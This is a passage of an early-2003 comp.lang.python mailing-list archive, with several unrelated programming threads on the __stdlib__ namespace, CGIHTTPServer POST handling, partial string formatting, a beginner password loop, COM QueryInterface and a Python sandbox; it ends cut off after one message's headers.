>> mod_python 3.0.1 for apache 2 (2.0.43). Thanks


Few months ago I ws looking for libpython2.2.so, and I was told that it 
is not a standard part of python2.2, but you get pathch the sources to 
get it. I finally found it in a Mandrake 9.0 distribution. However you 
can easily produce libpython2.3.so for python2.3a sources, it is a very 
functional verstion although it is in the alpha stage.


  Nadav.





From hancock at anansispaceworks.com  Fri Jan 10 04:29:16 2003
From: hancock at anansispaceworks.com (Terry Hancock)
Date: Fri, 10 Jan 2003 09:29:16 GMT
Subject: Having a __stdlib__ namespace?
References: <avl3bi$v9i$1@agate.berkeley.edu> <avliio$beo$0@216.39.172.122> <avlunc$15h5$1@agate.berkeley.edu>
Message-ID: <MnwT9.2921$Qr4.251489@newsread1.prod.itd.earthlink.net>

Daniel Yoo wrote:
> Bengt Richter <bokr at oz.net> wrote:
> : I just did an experiment that I don't know all the ramifications of, so
> : don't take this is anything but an expriment, but if you put a file
> : called __init__.py with nothing in it (mine has two bytes: '\r\n') in
> : the Lib directory, so the path to it looks something like

> I didn't think about that one... cool!  You're right though: the one
> problem I'd see about is that this would be platform specific, as
> Python's libraries live in "lib/pythonX.X" on some Unix systems.

Of course, on Unix/Linux you can put a symlink in to name it:

% cd /usr/lib/python2.2/
% ln -s /usr/lib/python2.2/ /usr/lib/python2.2/__stdlib__
% touch __init__.py

% cd ~
% python
Python 2.2.1 (#1, Sep  7 2002, 14:34:30) 
[GCC 2.95.4 20011002 (Debian prerelease)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import __stdlib__
>>> from __stdlib__ import string
>>> dir(string)
['_StringType', '__builtins__', '__doc__', '__file__', '__name__',  
                        ....

So that works.  I don't know an equivalent solution for Windows (or any OS 
lacking symlinks).  Looks kind of sinful to me, but I suppose it could work.

Terry

-- 
Anansi Spaceworks
http://www.anansispaceworks.com



From Tom.Verhoeff at acm.org  Fri Jan 10 04:50:34 2003
From: Tom.Verhoeff at acm.org (Tom Verhoeff)
Date: Fri, 10 Jan 2003 10:50:34 +0100
Subject: Semantics of statement sequencing not in doc?
Message-ID: <3E1E976A.281E8706@acm.org>

I am preparing an introductory programming course using Python
(in Dutch: <http://www.win.tue.nl/~wstomv/edu/python/>).

I link to the documentation in several places (though I don't
expect beginners to understand it all; but it is helpful for
assistants, who also have to learn Python).

I fail to find a good spot in the Python Language Reference
where the semantics of statement sequences is explained.
It is not under Execution Model, nor under Compound Statement
(where <suite> appears), nor under File Input (where the
top level sequencing of statements in files appears).

OK, it is trivial: execute the statements in the order
of appearance, one by one.  But I would think that this
needs to be stated somewhere.

Am I missing something?

Thanks,

	Tom
-- 
E-MAIL: T.Verhoeff at TUE dot NL | Fac. of Math. & Computing Science
PHONE:  +31 40 247 41 25         | Eindhoven University of Technology
FAX:    +31 40 245 17 33         | PO Box 513, NL-5600 MB Eindhoven
http://www.win.tue.nl/~wstomv/   | The Netherlands



From altis at semi-retired.com  Tue Jan  7 00:27:08 2003
From: altis at semi-retired.com (Kevin Altis)
Date: Mon, 6 Jan 2003 21:27:08 -0800
Subject: CGIHTTPServer and POST with Netscape versus IE
References: <3E1A4A4D.50C5DB52@engcorp.com>
Message-ID: <bytS9.185$wz1.174516@news.uswest.net>

Well I was going to say this is fixed in the Python 2.3a1 release because I
thought Steve Holden had committed a fix, but I just checked the
CGIHTTPServer.py file and it doesn't appear to have changed, so maybe he'll
chime in here.

The PythonCard webserver sample contains a fix for the run_cgi() method of
CGIHTTPRequestHandler; it may be different than what Steve was going to
patch with but it seems to work fine. Here are the two code fragments, one
for the Unix section and the second one for the Windows section. The basic
idea is to just throw away bytes paste the content-length but not block
while doing so.
            if pid != 0:
                # Parent
                pid, sts = os.waitpid(pid, 0)
                # throw away additional data [see bug #427345]
                while select.select([self.rfile], [], [], 0)[0]:
                    waste = self.rfile.read(1)
                if sts:
                    self.log_error("CGI script exit status %#x", sts)
                return
            # Child


            if self.command.lower() == "post" and nbytes > 0:
                data = self.rfile.read(nbytes)
                fi.write(data)
                # KEA now throw away data past Content-length
                while select.select([self.rfile._sock], [], [], 0)[0] != []:
                    waste = self.rfile._sock.recv(1)

The one problem area I remember is that apparently someone added support for
Keep-Alive in BaseHTTPRequestHandler which might cause problems with the
code above. If you need a robust server, you probably shouldn't be using the
CGIHTTPServer module, but it is perfectly fine for light personal use and
testing. Since the HTTP/1.1 support in the request handler code is shallow
at best, adding Keep-Alive support was probably not a good idea.

It would probably be beneficial to look at these changes in context, in
which case you can get the 0.6.9 source

http://sourceforge.net/project/showfiles.php?group_id=19015

or just check out the webserver.py file in cvs

http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/pythoncard/PythonCardPrototyp
e/samples/webserver/

ka
---
Kevin Altis
altis at semi-retired.com
http://radio.weblogs.com/0102677/

"Peter Hansen" <peter at engcorp.com> wrote in message
news:3E1A4A4D.50C5DB52 at engcorp.com...
> (This may be my first question in this newsgroup.  Please
> be gentle! :-)
>
> We've encountered a little problem in a test program
> involving the standard module CGIHTTPServer.py and a POST
> operation from Internet Explorer.
>
> In summary, Netscape always works, but when using
> Internet Explorer 6.0 (SP1, probably all versions fail)
> a POST operation will result in a message (not a 404 or
> any other recognizable HTTP error) that reads:
>
>    "The page cannot be displayed"
>
> along with a page full of friendly advice about what I
> might have done wrong, and a title bar reading "Cannot
> find server".
>
> After extensive investigation, we discovered that IE is
> appending a CR LF pair to the request body, but is not
> reporting it in the Content-length field.  (The actual
> data is 23 bytes long, or 25 with these two.)  By
> modifying the CGIHTTPServer.py code to read two extra
> bytes, we "fix" the problem, but then of course the
> server hangs when accessed from Netscape which doesn't
> supply the extra two bytes.
>
> My questions:
>
> Is this a known problem for IE and maybe other browsers?
>
> Is it legal for a browser to do this, in which case is
> it something CGIHTTPServer.py should be handling?
>
> Can anyone point me to other code (haven't been able to
> find the relevant lines in Zope yet) in web servers which
> might already handle this in a general and safe manner?
>
> Thanks for any pointers.  I've tried a few Google searches
> so far without any bites, but it seems pretty obvious that
> this is something that is known and solved, if I knew
> where to look, and it seems likely the fix should be added
> to CGIHTTPServer.py.
>
> -Peter





From peter at engcorp.com  Wed Jan 22 09:27:53 2003
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 22 Jan 2003 09:27:53 -0500
Subject: Help: More speedup needed
References: <33803989.0301220109.232a00d8@posting.google.com>
Message-ID: <3E2EAA69.724452E@engcorp.com>

Miki Tebeka wrote:
> 
> I'm writing an M.Sc. thesis in NLP. My goal is to implement Eric Brill's
> unsupervised algorithm for Hebrew (see http://www.cs.bgu.ac.il/~tebeka)
> for more details.
> 
> However on a very small set of data my application runs very slow. I did
> my best to improve the speed (minimal data types, psyco ...) but it is still too
> slow.

How fast does it run on your machine with that data set, and how fast
do you need it to run on that machine?

(And you're presumably using a reasonably modern machine to run this?)

-Peter



From vze4rx4y at verizon.net  Mon Jan  6 09:33:20 2003
From: vze4rx4y at verizon.net (Raymond Hettinger)
Date: Mon, 06 Jan 2003 14:33:20 GMT
Subject: globals in modules and inheritance from a C object
References: <cRbS9.5391$j94.1014572@news02.tsnz.net>
Message-ID: <QsgS9.768$db.457@nwrddc04.gnilink.net>

"Lloyd"
> 2. Is it possible to inherit from a module. I want to directly inherit
from
> one of my C custom objects. The only way I can see to do this currently is
> to create a python proxy object that contains a C object and the overload
> the get/set attr methods so that it correctly sends the requests to the C
> object? Is there a better way around this? It seems a bit of a waste...

Yes.  For a worked out example, look in the current CVS for
Python/dist/src/Modules/_randommodule.c

Be sure to include Py_TPFLAGS_BASETYPE in the tp_flags slot
and to create your object with self = (YourObject *)type->tp_alloc(type, 0);
instead of the usual PyObject_New.


Raymond Hettinger






From jarrodhroberson at yahoo.com  Thu Jan 23 23:05:41 2003
From: jarrodhroberson at yahoo.com (Y2KYZFR1)
Date: 23 Jan 2003 20:05:41 -0800
Subject: 1-line idiom to replace if blocks
References: <3e2cf624@post.usenet.com>
Message-ID: <c718a6cf.0301232005.326b8068@posting.google.com>

"Jonathan P." <jbperez808 at yahoo.com> wrote in message news:<3e2cf624 at post.usenet.com>...
> **** Post for FREE via your newsreader at post.usenet.com ****
> 
> I hate code that takes up too many lines and
> have come up with the ff. idiom to replace
> many 4 line if statements:
> 
> result=[value-if-false,value-if-true][condition]
> 
> This idea could also be applied as a compact
> switch block replacement in certain cases.
> 

God I feel sorry for anyone that has to come behind you and work on
any code you ever write. If you are this lazy not to write out a
simple if statement where other people can come behind you and
understand it.

The entire idea behind Python even more so than other languages is
maintance and readablity and you whack jobs just insist on making it
convoluted and obfuscated!

It does not show how clever you are, just how lazy and inconsiderate
you are. I have fired people for less than this personally!



From jepler at unpythonic.net  Tue Jan 21 14:26:57 2003
From: jepler at unpythonic.net (Jeff Epler)
Date: Tue, 21 Jan 2003 13:26:57 -0600
Subject: Partial string formatting?
In-Reply-To: <66sq2vse53j5je4eolfufptl5c42g6o1b9@4ax.com>
References: <66sq2vse53j5je4eolfufptl5c42g6o1b9@4ax.com>
Message-ID: <20030121192655.GE14028@unpythonic.net>

On Tue, Jan 21, 2003 at 04:18:55PM +0000, Gon?alo Rodrigues wrote:
> Hi,
> 
> Is there a simple way to do partial string formatting short of using
> RE's, e.g
> 
> <string> % <mapping>
> 
> where if a key is not present in <mapping> it just leaves it untouched?
> 
> I thought of subclassing dict to hand out a default item, which it would
> just be the requested key wrapped in %()s. Of course this only works if
> the format code is s but not with other format codes or even more
> complicated options.
> 
> Thanks in advance,
> G. Rodrigues
> -- 
> http://mail.python.org/mailman/listinfo/python-list

I think the following function 'format(s, m)' will work.  I tested it a
little bit.

def format(s, d):
    chunks = s.split('%')
    out = [chunks[0]]
    for f in chunks[1:]:
        f = "%" + f
        try:
            out.append(f % d)
        except KeyError:
            out.append(f)

    return "".join(out)

ma = {'key1':'val1', 'key3':3}
print format("%(key1)s - %(key2)33s - %(key3)03d", ma)
#prints: "val1 - %(key2)33s - 003"

#jeff




From vze33v6m at verizon.net  Sat Jan 18 08:27:38 2003
From: vze33v6m at verizon.net (pavs)
Date: Sat, 18 Jan 2003 13:27:38 GMT
Subject: Newbe: password program
Message-ID: <eDcW9.7243$V75.2394@nwrddc02.gnilink.net>

#Modify a password guessing program to keep track of how
#many times the user has entered the pasword wrong.
#If, it is more than 3 time, print "That must have been complicated."

# ------------------------------------------------------------------

#Waits untill password has been entered. Use Control -C to break out without
# the password

#Note that this must not be the password so that the while loop runs atleast once

password = "pavs"
count = 0

while password != "unicorn":
    print "Wrong Password"
    password = raw_input("Password:")
    count = count + 1
    

print "Welcome in"
if count > 3:
    print "That must have been hard"




--------------------------------------------------------------------------------

:)
I think the program works.

If so, than this would be my first workable program without outside help :)

Python is so much FUN!

Cheers,
pavs
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20030118/891785a9/attachment.html>

From skip at pobox.com  Mon Jan 13 18:34:40 2003
From: skip at pobox.com (Skip Montanaro)
Date: Mon, 13 Jan 2003 17:34:40 -0600
Subject: DYNAMIC_EXECUTION_PROFILE/DXPAIRS server available
Message-ID: <15907.19728.347317.771246@montanaro.dyndns.org>

Earlier today, I mentioned an XML-RPC server I wrote which will collect and
regurgitate dynamic execution profile information:

    http://tinyurl.com/4eue

I decided to go ahead and freshen it up a bit.  That consisted of a slight
rework to use SimpleXMLRPCServer.  The code is available at

    http://www.musi-cal.com/~skip/python

I am running it once again on manatee.mojam.com, port 7304.  I'll let it run
unless it becomes a resource hog.

To connect to it execute something like:

    import xmlrpclib
    dxp = xmlrpclib.ServerProxy("http://manatee.mojam.com:7304")

then

    print dxp.synopsis()

for a brief summary of the methods the server understands or

    print dxp.usage()

for a more detailed description of what the server does and how you can
contribute instruction counts for the collective greater good.

It's running in a chroot'd jail, so there may be the unforseen shared
library or other file which I didn't copy into the jail.  If you have any
questions or notice bugs, let me know.

-- 
Skip Montanaro
skip at pobox.com
http://www.musi-cal.com/




From peter at engcorp.com  Mon Jan 20 16:18:54 2003
From: peter at engcorp.com (Peter Hansen)
Date: Mon, 20 Jan 2003 16:18:54 -0500
Subject: Python web development, really
References: <j9bo2v0lo0qfngcfpqc3ooj0bo881lhuuh@4ax.com>
Message-ID: <3E2C67BE.BCD0F29D@engcorp.com>

Afanasiy wrote:
> 
> * Finally, very optional plus, global application scoped variables
>   (PHP does NOT allow this, but I know why)
>   (I do not want to hear why you think this is bad)
>   (I know why it is good, I know why it can be bad)

If you really understand the pluses and minuses of this, then
you'll be quite happy with what Python can provide.  A simple
module which collects those "global" variables will provide
all the benefits and fewer of the disadvantages.

Of course, there are often better ways to.... oh, wait.  Sorry. ;-)

-Peter



From Mongryong at sympatico.ca  Fri Jan 31 13:09:24 2003
From: Mongryong at sympatico.ca (Mongryong)
Date: 31 Jan 2003 13:09:24 -0500
Subject: Python vs. C++ Builder - speed of development
In-Reply-To: <yyyhebpkyjd.fsf@adams.patriot.net>
References: <3e36d04e_2@news.vo.lu>
	<mailman.1043793662.28129.python-list@python.org>
	<CpFZ9.1212$wd2.100989@newsread2.prod.itd.earthlink.net>
	<gWOZ9.134330$AA2.5582397@news2.tin.it>
	<Y%1_9.3865$wd2.302595@newsread2.prod.itd.earthlink.net>
	<bK6_9.140709$AA2.5799087@news2.tin.it>
	<a2h_9.5383$Wu1.411649@newsread1.prod.itd.earthlink.net>
	<8bbd9ac3.0301302140.6938685c@posting.google.com>
	<oPr_9.108013$0v.3123750@news1.tin.it>
	<mailman.1044029142.17081.python-list@python.org> 
	<yyyhebpkyjd.fsf@adams.patriot.net>
Message-ID: <1044036565.1595.10.camel@refugeeMedia>

On Fri, 2003-01-31 at 12:40, Nick Vargish wrote:
> > > In theory, theory is preferable, but, in practice, I'd prefer practice.
> > +1 QOTW
> 
> What about:
> 
>     "The difference between theory and practice is larger in practice
>      than in theory."
> 
How about:

"The theory is only as good as the people who [try to] apply them."

Theory is based on idealistic parameters.  In an perfect world, it's
100% accurate.  In the real world, it's the basis for applying practical
solutions without having to prune the entire solution space.  That's the
difference between a University computer science student and a local
college programmer graduate.





From tjreedy at udel.edu  Thu Jan  2 20:22:15 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Thu, 2 Jan 2003 20:22:15 -0500
Subject: Explicit Frustration of the Self
References: <a1d2c9b4.0212302256.3bbd302f@posting.google.com> <yu99n0mmw48b.fsf@europa.research.att.com> <ausvot$fuh$0@216.39.172.122> <mailman.1041373417.15990.python-list@python.org> <slrnb19im6.7kd.rmunn@rmunnlfs.dyndns.org>
Message-ID: <Wyqdnbgwda9zfImjXTWcow@comcast.com>

"Robin Munn" <rmunn at pobox.com> wrote in message
news:slrnb19im6.7kd.rmunn at rmunnlfs.dyndns.org...
> Cliff Wells <LogiplexSoftware at earthlink.net> wrote:
> > I (sheepishly) admit that I'm kind of fond of the "with" statement
some
> > languages have:
> >
> > somelongname.x = 1
> >
> > with somelongname:
> >     .x += 1
> >     print .x
> Hmmm, a quick search of http://www.python.org/peps/ doesn't turn up
> anything that looks like a PEP suggesting a "with" keyword. If you
like
> it enough, why not write the PEP and try to get it included?

It has been discussed in previous threads and described as *extremely*
unlikely to be accepted.  However, a PEP summarizing such discussions
would be useful.

TJR





From alan_salmoni at yahoo.com  Fri Jan 31 07:59:17 2003
From: alan_salmoni at yahoo.com (Alan James Salmoni)
Date: 31 Jan 2003 04:59:17 -0800
Subject: A puzzle for Pythonistas
Message-ID: <b68f71a7.0301310459.31539d3c@posting.google.com>

Hi folks,

This is just a little puzzle to test your brains on - well, I should
come clean really, so what I need to do is work out a way to get all
the interactions from 2 or more variables for SalStat a small
statistics package, but to be honest, I am rather stuck on this bit.

The problem is defined like this: I have a list of unique integers,
and the list is of arbitrary length, though 2 elements is the minimum.
Using each integer only once, what are the possible combinations of 2
or more elements that can be derived from this list. I know how to
work out how many combinations there are: ((2**len(list))-1-len(list))
which is quite simple.

To illustrate:

If list = [1,2,3], then there are 4 possible combination: 1-2, 1-3,
2-3, and 1-2-3.
If list = [1,2,3,4] then there are 11 possible combinations: 1-2, 1-3,
1-4, 2-3, 2-4, 3-4, 1-2-3, 1-2-4, 1-3-4, 2-3-4, and 1-2-3-4.

All my ideas so far rely on brute force, and I was wondering if anyone
could think of an elegant and pythonic way of achieving the required
result.

I have a nasty feeling that the code may be complex, so feel free to
tell me to s0d off if you want! :)

Alan James Salmoni
SalStat Statistics
http://salstat.sunsite.dk



From uwe.schmitt at procoders.net  Thu Jan 23 09:34:05 2003
From: uwe.schmitt at procoders.net (Uwe Schmitt)
Date: 23 Jan 2003 14:34:05 GMT
Subject: python sandbox
Message-ID: <b0ougt$111ko7$1@hades.rz.uni-sb.de>

Hi,

I wrote a simple sandbox for executing pyhton code in a
restricted environment.
The code can be downloaded from 
http://www.procoders.net/download.php?fname=SandBox.py
I appreciate any comments. I'm especially interested if
my restrictions are secure or if they can be circumvented.


Greetings, Uwe.
-- 
Dr. rer. nat. Uwe Schmitt      Computer science is no more about Computers,
uwe.schmitt at num.uni-sb.de      than astronomy is about telescopes. (Dijkstra)
http://www.procoders.net           



From peter at engcorp.com  Wed Jan  8 16:57:45 2003
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 08 Jan 2003 16:57:45 -0500
Subject: Python vs .Net
References: <PxQR9.45$uS3.4626462@mantis.golden.net> <v1i5tsger4jv81@corp.supernews.com> <3E197F7C.D4549EC5@engcorp.com> <v1jd1o8pjuho28@corp.supernews.com> <3E1A3F8B.8D4BAD96@engcorp.com> <v1nlne1bvl7r30@corp.supernews.com> <3E1C34D0.ECFBC7BF@engcorp.com> <v1otjvkdoinp77@corp.supernews.com> <3E1C9556.30D4C315@engcorp.com> <v1p75cefkpqj0b@corp.supernews.com>
Message-ID: <3E1C9ED9.B008AE63@engcorp.com>

Greg Brunet wrote:
> 
> "Peter Hansen" <peter at engcorp.com> wrote in message
> news:3E1C9556.30D4C315 at engcorp.com...
> > Since I'm "stuck" :-) with Python without the features you like,
> > I can't try your approach and compare my productivity.  Maybe,
> > therefore, once you've done a year of XP and Test-Driven Development,
> > with Python, you would let me know whether you still miss the
> > code-completion features... ;-)
> 
> Well - since that's what I'm considering at this time, perhaps I'll be
> able to do that a year from now. <g>  Too bad I'll suffer a loss of
> productivity along the way by not having the intellisense feature to
> help me learn an entirely new framework. <vbg>

Greg, I have to admire your ability to respond consistently in an 
even-handed manner to almost anything that has come in this thread. :-)

Just thought I'd say so, since it's a rare ability (and one I am 
afraid I don't share... :-(  ).

(On another note, in response to your concern about productivity
loss, an XP-style question-as-response might be this: "What do you
think would happen if for a while your productivity went down so
much that you were forced to pay attention to the process you were
learning rather than to the code you were trying to write?"  ;-)  )

-Peter



From skip at pobox.com  Tue Jan 14 10:58:59 2003
From: skip at pobox.com (Skip Montanaro)
Date: Tue, 14 Jan 2003 09:58:59 -0600
Subject: [ann] Minimal Python project
In-Reply-To: <A7B5C22F20EE3C4E95744E2F03F1887F0F1C76@MAYOR.retzlaff.com>
References: <A7B5C22F20EE3C4E95744E2F03F1887F0F1C76@MAYOR.retzlaff.com>
Message-ID: <15908.13251.642400.353667@montanaro.dyndns.org>

    Jimmy> Psyco created two specialized versions of my function - one for
    Jimmy> use with integers and another for use with floating point
    Jimmy> numbers.

Which, depending on the particular computation, might differ semantically
from one another, what with floating point inaccuracies and all.

"Let's be careful out there." - Phil Esterhouse

Skip




From opengeometry at yahoo.ca  Tue Jan 21 03:13:59 2003
From: opengeometry at yahoo.ca (William Park)
Date: 21 Jan 2003 08:13:59 GMT
Subject: looking for a math package
References: <6ca96053.0301202324.7a741acd@posting.google.com>
Message-ID: <b0ivg6$pss56$3@ID-99293.news.dfncis.de>

Yuval <yuvalfeld at hotmail.com> wrote:
> Hi, 
> I'm looking for a package containing some useful math functionality,
> written in python. In particular, I want to generate a random variable
> that will be drawn from a power law distribution, and I'm looking for
> an appropriate package.

None exist.  But, you can write your own, usually line-by-line from C
source.

-- 
William Park, Open Geometry Consulting, <opengeometry at yahoo.ca>
Linux solution for data management and processing. 



From gerhard.haering at opus-gmbh.net  Wed Jan 22 10:53:01 2003
From: gerhard.haering at opus-gmbh.net (Gerhard =?iso-8859-1?Q?H=E4ring?=)
Date: 22 Jan 2003 15:53:01 GMT
Subject: License of code in Guido's essays(http://www.python.org/doc/essays/).
References: <7c58a0f1.0301220734.4c8627e6@posting.google.com>
Message-ID: <slrnb2tfi0.1gg.gerhard.haering@haering.opus-gmbh.net>

Kerim <warkid at hotbox.ru> wrote:
> I don't want to bother Guido van Rossum so this question is to this
> group.
> I'd like to use(in commercial product) code for, say, find_path
> function written in "Implementing
> Graphs"(ttp://www.python.org/doc/essays/graphs.html). Surely I can
> reimplement this code by myself, but what if I have no time for the
> moment.
> Is it enough put thanks to Guido in the product for this code(yes,
> thanks for the whole Python are much bigger, but anyway)?

The only way to legally be on the safe side is to ask Guido. This will perhaps
make him put a page on www.python.org that clarifies the license question.

Gerhard
-- 
Gerhard H?ring
OPUS GmbH M?nchen
Tel.: +49 89 - 889 49 7 - 32
http://www.opus-gmbh.net/



From mwh at python.net  Thu Jan 16 13:12:37 2003
From: mwh at python.net (Michael Hudson)
Date: Thu, 16 Jan 2003 18:12:37 GMT
Subject: Changing truth
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <3E2058FA.F676DCFC@engcorp.com> <SrZT9.121191$Hs2.11493220@kent.svc.tds.net> <v2111cf3gg193a@news.supernews.com> <HlGdnUonb9-FB72jXTWcoQ@comcast.com> <3E20A117.9020609@tismer.de> <mailman.1042326561.2537.python-list@python.org> <m28yxq9ljj.fsf@pchoel.1480-778.online.de> <mailman.1042653452.24211.python-list@python.org> <7h38yxmp6mp.fsf@pc150.maths.bris.ac.uk> <mailman.1042714955.32205.python-list@pyth
 on.org> <m34r89703y.fsf@mira.informatik.hu-berlin.de> <mailman.1042736793.13659.python-list@python.org>
Message-ID: <7h38yxlnets.fsf@pc150.maths.bris.ac.uk>

Christian Tismer <tismer at tismer.com> writes:

> Martin v. L?wis wrote:
> > Christian Tismer <tismer at tismer.com> writes:
> [Assigning to True, False, None]
> 
> > Assignment to None will be disallowed in a future release. True and
> > False would have been banned in the same way as well, if testing
> > hadn't found that quite a lot of code has constants named True and
> > False already. As this code gets modified to use the builtin
> > constants, SyntaxWarnings, then Errors, can be added for these as
> > well.
> 
> Maybe a compromize would be to capture
> assignments to True and False in a way
> that they issue a warning if the assigned
> value is not coercable to 1 resp. 0?

That occurred to me as well, but it's kinda tricky to do at compile
time...

I've seen this before now:

True, False = (1==1), (1!=1)

and in light of 2.3, that's even sensible.

Cheers,
M.

-- 
  Of course, it obviously is beta hardware so such things are to be
  expected, but that doesn't mean that you can't point your fingers
  and generate a nelson style HAHA at a multi billion dollar
  corporation's expense.                   -- CmdrTaco on slashdot.org



From stevena at neosynapse.net  Thu Jan  9 17:50:07 2003
From: stevena at neosynapse.net (Steven D. Arnold)
Date: Thu, 09 Jan 2003 17:50:07 -0500
Subject: Do pythons like sugar?
In-Reply-To: <SSjT9.38031$1c.13089@nwrddc01.gnilink.net>
Message-ID: <BA4366CF.108CA%stevena@neosynapse.net>

On 1/9/03 2:14 PM, "Carl Banks" <imbosol at vt.edu> wrote:

> Because of this, I try very hard to avoid a presumptuous attitude when
> answering questions, and I would like to request others try to as
> well.  Specifically, I would request that everyone always respect the
> poster's original question.  Replies like, "why are you doing it that
> way, you should do it this way," without any regard to the actual
> question, I find very rude.
>
> Whenever I want to offer alternatives, I'll usually answer the
> original question, if I know the answer, and then offer alternatives.
> If I don't know the answer, I'll say I don't know it.  Sometimes, if
> it's really a bad idea, I'll offer to answer it if the poster really
> wants, but highly suggest a something else.  (And if the poster comes
> back saying, "thanks but no thanks," I'll give him the answer.)  But,
> no matter what, I try to always acknowledge the question.

If all you're saying is "answer the original question in addition to asking
about the overall intent" then I think we're in agreement.  I only disagree
if "respecting the original question" means not asking about the overall
intent.  I agree it's polite to answer the original question as best one
can, but experience shows that posters are often on the wrong track entirely
and would do better to change their approach.

I think the suggestion that a new approach was needed was a stab to
Afanasiy's vain picture of himself as master programmer, and that, not the
responses to his question, is what caused this thread to be more than four
posts long.

steve
-- 






From ellers at iinet.net.au  Mon Jan  6 02:54:31 2003
From: ellers at iinet.net.au (Ellers)
Date: 5 Jan 2003 23:54:31 -0800
Subject: COM/win32all QueryInterface
Message-ID: <382bfff5.0301052354.345f1cd1@posting.google.com>

Hi All

Maybe this is easy but I can't figure out how to take a COM IUnknown
object returned by a method call and use QueryInterface to get a
useful object back.

The Demo.MyWorker and Demo.MyConcreteClass are simplifications of a
real type library written in C++ (ATL7, MSStudio7). Everything works
if I do it in C++ but in python I can't do anything useful with the
object I get back.

Some code is below ...


worker = win32com.client.Dispatch( "Demo.MyWorker" )
		
( unk ) = worker.DoWork( \
		"Param1", 
		"Param2", 
		None
		)
		
mod = win32com.client.gencache.GetModuleForTypelib('{MYLBHERE-3D73-4FAE-808D-BA528C308670}',
0, 1, 0)
	
actualObject = unk.QueryInterface( mod.MyConcreteClass.CLSID,
pythoncom.IID_IDispatch )

print "Actual:", actualObject 
# prints something like <PyIDispatch at 0xcd39e4 with obj at 0x1492bc>

# Count is a property on the object - this will fail with:
#    AttributeError: get_Count
#
# I've tried all sorts of variants - GetCount, Count, Count() etc.
# HELP!
actualObject.get_Count


I thought IDispatch would dynamically figure out the Count property
and map get_Count, Count etc?

I'd rather it use a concrete (or pseudo-concrete?) class from the
makepy generated module (makepy works fine with the module BTW), e.g.:

   actualObject = unk.QueryInterface( mod.MyConcreteClass.CLSID,
mod.MyConcreteClass.IID?

   actualObject.Count

 but I can't figure out how to use QueryInterface to return a handle
to the python generated class with prior knowledge of
attributes/methods of the COM class.


Any tips greatly appreciated
Thanks
Ellers



From BPettersen at NAREX.com  Fri Jan 24 13:43:34 2003
From: BPettersen at NAREX.com (Bjorn Pettersen)
Date: Fri, 24 Jan 2003 11:43:34 -0700
Subject: killing thread ?
Message-ID: <60FB8BB7F0EFC7409B75EEEC13E2019201BFE1DD@admin56.narex.com>

> From: Tim Peters [mailto:tim.one at comcast.net] 
> 
> [Jp Calderone]
> > ...
> > It is currently not possible to write a secure sandbox in
> > Python.  I'm not sure if you can call that a bug; it's certainly
> > unfortunate.
> 
> Just curious:  does there exist a programming language in which it is
> possible do this?  If so, who guarantees it, and via what 
> kind of validation
> process?

For the marketing version:
http://java.sun.com/marketing/collateral/security.html

insert-appropriate-smiley'ly y'rs
-- bjorn




From martin at v.loewis.de  Fri Jan 24 06:40:22 2003
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Fri, 24 Jan 2003 12:40:22 +0100
Subject: Something like asynchronous XML-RPC possible?
In-Reply-To: <cb035744.0301240308.25034fed@posting.google.com>
References: <cb035744.0301240308.25034fed@posting.google.com>
Message-ID: <3E312626.303@v.loewis.de>

Will Stuyvesant wrote:
> Under the hood the processes communicate by means of TCP.  But now my
> boss wants them to communicate by means of UDP!  Any ideas how to
> accomplish this?  It would mean that operation or method calls are no
> longer possible, only communication via events will be there.  

Not necessarily: you can implement synchronous communication on top of 
UDP as well (just as you can implement asynchronous methods on top of TCP).

> The desired usage pattern would be::
> 
>   p2 = remote_async_process(url, portnumber)
>   p2.sendEvent(event)

Traditionally, the usage pattern would be different:

p2 = remote_async_process(url, portnumber)
request = p2.method(params)
while not request.done():
   do_other_stuff()
result = request.result()

(of course, the request object can be discarded if no result is expected)

BTW, the same usage pattern is possible over TCP, as well, even without 
cooperation from the server.

> If you know a solution please let me know.  Especially if the solution
> only uses standard Python libraries.  I think it could be done using
> just xmlrpclib and SimpleHTTPServer with a UDP request handler or
> something, but its usage patterns are confusing me and if you have
> done this already please let me know!

But you have already outlined a solution! This is certainly all possible 
in plain Python, using existing libraries. What part is confusing to 
you? Just try to implement this step-by-step, starting with how you 
would implement your sendEvent function (traditionally, the client side 
is easier to implement than the server side).

However, I would question that using XML-RPC on top of http is useful, 
since you are inventing a proprietary protocol, anyway: You could just 
as well send plain strings, or pickles.

Regards,
Martin





From clifford.wells at attbi.com  Wed Jan  1 14:23:42 2003
From: clifford.wells at attbi.com (Cliff Wells)
Date: 01 Jan 2003 11:23:42 -0800
Subject: opening a text document to show a .txt file throughabrowserlink
In-Reply-To: <3E12A3FC.E4621466@alcyone.com>
References: <hcrP9.30944$Y2.1113@news2.bredband.com>
	 <mailman.1041277439.30986.python-list@python.org>
	 <3E10B410.E69EB572@alcyone.com>
	 <mailman.1041288686.25278.python-list@python.org>
	 <ahqqua.r04.ln@beastie.ix.netcom.com>
	 <mailman.1041312425.5480.python-list@python.org>
	 <7396d2b2.0212311127.13ebaa8@posting.google.com>
	 <tyfd6nhdikf.fsf@lxplus047.cern.ch>
	 <mailman.1041371348.30384.python-list@python.org>
	 <3E1269D0.B8488056@alcyone.com>
	 <mailman.1041402783.15788.python-list@python.org>
	 <3E12A3FC.E4621466@alcyone.com>
Message-ID: <1041449021.21816.102.camel@x1-6-00-04-5a-64-c4-03>

On Wed, 2003-01-01 at 00:17, Erik Max Francis wrote:
> Cliff Wells wrote:
> 
> > No, he said that because you couldn't do a computation in HTML that it
> > can't be a programming language.  Shell scripts are generally
> > considered
> > programs and yet in many you can't do a computation either.  That was
> > my
> > point.
> 
> Except that in all but the most primitive shells you _can_.  Certainly
> in bash you can.

I think *this* is a red herring: you're just testing me to see if I'll
really let you get the last word as I promised in a previous post ;)

-- 
Cliff Wells <clifford.wells at attbi.com>





From exarkun at intarweb.us  Sat Jan 18 11:58:08 2003
From: exarkun at intarweb.us (Jp Calderone)
Date: Sat, 18 Jan 2003 11:58:08 -0500
Subject: Coding standard: Prefixing variables to indicate datatype
